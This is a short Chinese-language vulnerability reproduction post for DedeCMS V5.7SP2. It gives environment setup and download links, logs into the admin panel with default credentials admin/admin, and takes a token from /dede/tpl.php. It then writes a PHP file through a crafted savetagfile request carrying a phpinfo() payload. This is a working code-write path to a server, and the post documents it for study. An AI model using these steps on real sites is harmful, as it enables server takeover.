环境搭建

安装什么很简单就设置一个数据库密码就不多说了
我用的服务器是phpstudy
下载地址xp.cn
DedeCMS-V5.7SP2官方下载地址http://dedecms.com/products/dedecms/downloads/
我在官方下载的出来的保存在蓝奏云地址https://wwa.lanzous.com/i8zW7h12t9i

漏洞复现

登录后台在/dede/文件里面
默认用户admin密码是admin

登录成功

在访问这个地址

1
访问域名 + /dede/tpl.php?action=upload


查看一下token源代码

写入恶意脚本

1
2
访问域名 + 
/dede/tpl.php?filename=secquan.lib.php&action=savetagfile&content=<?php%20phpinfo();?>&token=